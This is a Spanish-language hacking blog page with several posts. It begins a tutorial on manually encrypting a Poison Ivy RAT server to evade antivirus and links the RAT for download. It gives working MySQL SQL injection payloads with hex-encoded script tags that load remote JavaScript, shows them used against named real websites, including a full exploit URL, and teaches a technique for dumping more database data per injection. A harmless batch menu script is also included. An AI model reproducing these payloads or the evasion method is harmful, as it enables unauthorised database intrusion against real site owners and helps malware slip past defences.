Original Prankster!

Blogroll: 7

[x] Agregar a ponymagic

oceanik6 oceanik6
virtux virtux
pato pato
murder murder
zer0-z0org zer0-z0org
r0dr1 r0dr1
ricota ricota

Perfil de ponymagic

[x]Nick: ponymagic
Rango: Amateur
País: ar
Visitas: 14023
Votos: 36
En Blogrolls: 25
Status: PM

Patrocinadores:


Anuncia aquí

[x] Taller: Encriptando Malware a Mano [Hacker_Zero]

Publicado el 31/01/2010 12:01:00 en Criptografía. Total de votos: 5  Votar

Taller: Encriptando Malware a Mano




Objetivos de éste taller


Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.



Herramientas Necesarias

[*] Olly Debug Descargar
[*] Un Editor Hexadecimal Descargar HxD
[*] Un Editor del PE Descargar LordPE
[*] Poison Ivy v2.1.4 Private Descargar



Conocimientos recomendados

[*] Nociones básicas sobre ASM. Taller ASM por E0N
[*] Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
[*] Familiarización con el uso de Olly y las otras herramientas.



¿Qué vamos a encriptar?


Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:



Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a encriptar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y encriptar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está :P:



Entonces, lo que vamos a encriptar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a encriptar?


Lo haremos de una forma sencilla. Encriptaremos el archivo...

Continúa aquí...


Comentarios: 7 | Leer comentarios

[x] General Injection Explorer 3 - By PonyMagic

Publicado el 12/12/2009 12:12:00 en Hacking Web. Total de votos: 11  Votar

General Injection Explorer 3.0
by PonyMagic


[?] Que es?
Basicamente es un explorador de bases de datos MySQL via SQLi, "incrustado" en la inyeccion.

[!] Que tiene la version 3.0?
[+] Codeado desde 0.
[+] Bypasseo de "illegal operation", y limite de group_concat_max_len.
[+] Mejor manejo de CSS && DIVS.
[+] Peticiones realizadas con AJAX.
[+] Nueva forma de ver tablas, MUCHO mas ordenadas.

[?] Como se usa?
En una SQLi, unis otro select y marcas las columnas ( id=-1 union select 1,2,3,4,5 )
En un valor que printee (que se muestre en la web), simplemente copias y pegas el codigo de la GIE.

(0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e)


Ejemplo:
adegasgalegas.es SQLi
adegasgalegas.es GIE SQLi






Injeccion con General Injection Explorer 3.0


Luego, se navegan las bases de datos, usando ese "cuadradito" como un mini-phpmyadmin :P como se ve en el siguiente [.gif]:


[+] Gracias a virtux por hostear, acá tienen el código y el link:

Link JS
Link Paste2 [Highlight]




Comentarios: 17 | Leer comentarios

[x] MenuCreator - Batch - By PonyMagic

Publicado el 24/11/2009 12:11:00 en Programación General. Total de votos: 2  Votar



Ahora Pueden crear un menu de items seleccionables con el teclado al mejor estilo textas (?



Parametros:

Call:Menu
|_1_ Items separados por Puntos ( ejemplo.de.items. )
|_2_ Espacio entre borde Isq y menu ( " " )
|_3_ Icono de NO seleccionado ( "[-]" )
|_4_ Icono de SI seleccionado ( "[+]" )
|_5_ Variable que contenga una cabezera para el menu, sin %% (Cabezera)
|_6_ Variable donde se almacenara el item seleccionado

Call:Menu "ejemplo.de.items" " " "[-]" "[+]" Cabezera Resultado


Ejemplos:

:MenuCreator
SetLocal EnableDelayedExpansion
If NOT exist "keyboard.exe" (Call:..kybrd Echo)
Set ..p6=%6
Set ..c=0
set ..p1=%~1
set ..p1=%..p1:.=,%
For  %%_ in (%..p1%) Do (Set /A ..c+=1&Set ..itm!..c!=%%_)
Set ..s=1
:..MnGn
CLS&Echo.&!%5!&Echo.
For /L %%_ in (1,1,!..c!) Do (
	If ["%%_"]==["!..s!"] (Echo%~2%~4 !..itm%%_!) Else (Echo%~2%~3 !..itm%%_!)
)
keyboard
If ["%ErrorLevel%"]==["72"] (IF not ["!..s!"]==["1"] (Set /A ..s-=1))
If ["%ErrorLevel%"]==["80"] (IF not ["!..s!"]==["!..c!"] (Set /A ..s+=1))
If ["%ErrorLevel%"]==["13"] (Set %..p6%=!..itm%..s%!&CLS&GOTO:EOF)
GoTo:..MnGn
:..kybrd
(%1 n keyboard.dat
%1 e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
%1 e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
%1 e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
%1 rcx&%1 002E&%1 w0&%1 q&%1.)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
rename "keyboard.dat" "keyboard.exe"
GoTo:EOF



Set Cabezera=Echo                            \_/\ [ MenuByPony ] /\_/
Call:Menu "Menu.By.Pony.Magic" "                            " "[-]" " [+]" Cabezera resultado
Echo.
Echo %resultado%
Pause



Set Cabezera=Echo                     -:01010011.. P0NYM4GIK ..11001010:-
Call:Menu "Menu.By.Pony.Magic" "                         " "o" " o" Cabezera resultado
Echo.
Echo %resultado%
Pause


Comentarios: 5 | Leer comentarios

[x] GiE 2.0 & MegaConcateo(?). - Actualizaciones (?

Publicado el 14/11/2009 12:11:00 en Hacking Web. Total de votos: 6  Votar



[+] Tengo la extraña sensacion de que mi cerebro esta esperando a que postee alguna idea para que luego se me ocurra mejorar algo. Asi que acá les van 2 "actualizaciones" de mis anteriores 2 posteos. bastante "mejorados".

1ro) la GiE o General Injection Explorer [1Er POST] :

+ Coodee desde 0 otra version tambien en JS. Link.
+ Gracias a virtux por hostear :P

Acá 2 screens para que vean la diferencia:


GiE 1.0 Posteada anteriormente




GiE 2.0 2da version de la GiE


Dejo directamente la Inject, el que no entienda como se usa, que vea el anterior post.

(Select/**/concat(0x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat(DISTINCT/**/cast(table_schema/**/as/**/char)),0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e)/**/from/**/information_schema.tables)


Y acá la web del ejemplo con la GiE2

http://www.fcu.com.uy/popup_indice.php?id=7%20and%201=2%20union%20select%201,%28Select/**/concat%280x3C70207374796C653D27646973706C61793A6E6F6E65273E4769453A,group_concat%28DISTINCT/**/cast%28table_schema/**/as/**/char%29%29,0x7C7C,0x7C7C,0x7C7C,0x7c7c3c2f703e3c73637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f2f7777772e7669727475782e636f6d2e61722f4749452e6a73223e3c2f7363726970743e%29/**/from/**/information_schema.tables%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54--




2do) Olvidate de limit en tus SQLi: [1Er POST] :

+ Bueno en esta tambien hise bastante. ahora uso variables en vez de repetir la inject en el instr() y tambien ago una inject mas general que es "inteligente". ve cuanto ocupo el concat anterior y ve si tiene que seguir o no, es una estupides... una linda estupides XD
.Miren el codigo, ahora esta mas limpio y se entiende vastante si lo separamos en renglones :)

Replace(concat(

@1:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables),

IF(length(@1)=1024,
	@2:=(Select/**/group_concat(distinct/**/cast(table_name/**/as/**/char))/**/from/**/information_schema.tables/**/where/**/instr(@1,table_name)=0),
	(select 0x20)
),

IF(length(@2)=1024,
...


Continúa aquí...


Comentarios: 12 | Leer comentarios

[x] Olvidate del limit en tus MySQLi !! - By PonyMagic

Publicado el 11/11/2009 12:11:00 en Hacking Web. Total de votos: 3  Votar

[+] Bueno, acá haciendo otro post para que tus SQLi queden cada dia mas lindas (?


[+] Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P

[+] El 1er Semitip' que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br>" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat:

	Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)


[+] hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject:

	id=1 and 1=2 union select 1,2,3,4--


[+] lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema.

	id=1 and 1=2 union select 1,(
		Select
		Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
		from information_schema.tables
	),3,4--




Screen 1: Concateo con cast y replace



[+] Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR()
	id=1 and 1=2 union select 1,(
		Select
		Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)
		from information_schema.tables

		Where

	INSTR(
	(Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables),
	Table_Name
	) = 0

	),3,4--




Screen 1: Concateo con cast y replace, y el "limit casero"


[+] Lo que pedimos acá, ...


Continúa aquí...


Comentarios: 6 | Leer comentarios